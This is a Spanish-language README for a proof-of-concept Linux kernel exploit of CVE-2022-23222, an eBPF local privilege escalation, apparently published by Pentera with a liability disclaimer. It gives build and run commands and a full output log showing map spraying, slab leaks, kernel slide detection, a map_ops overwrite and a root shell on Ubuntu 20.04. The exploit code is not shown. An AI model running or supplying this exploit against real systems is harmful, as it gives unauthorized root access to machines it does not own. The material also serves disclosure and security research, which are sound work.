
Exploit de prueba de concepto para CVE-2022-23222, una escalada de privilegios local del kernel de Linux a través de eBPF. Demuestra la manipulación del búfer circular y las operaciones de mapa para obtener una shell root en sistemas vulnerables Ubuntu 20.04.
Este es un POC para CVE-2022-23222, una vulnerabilidad de escalada de privilegios local. Este POC fue escrito para Ubuntu 20.04 con la versión del kernel 5.13.0-27-generic, pero otras versiones del kernel también son vulnerables. Para un análisis detallado del exploit, lea nuestro artículo.
Asegúrese de que libbpf esté instalado, ya que es un requisito para el exploit.
Para compilar el POC, ejecute el siguiente comando:
make
Para ejecutar el exploit, ejecute el siguiente ejecutable:
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
El código descrito en este aviso (el “Código”) se proporciona “tal cual” y “según disponibilidad” y puede contener errores, fallos y otros defectos. Se le recomienda proteger los datos importantes y actuar con precaución. Al usar este Código, usted acepta que Pentera no tendrá ninguna responsabilidad hacia usted por cualquier reclamo en relación con el Código. Pentera renuncia a cualquier responsabilidad por daños directos, indirectos, incidentales, punitivos, ejemplares, especiales o consecuentes, incluso si Pentera o sus partes relacionadas han sido informados de la posibilidad de tales daños. Pentera no asume la obligación de actualizar el Código ni este aviso.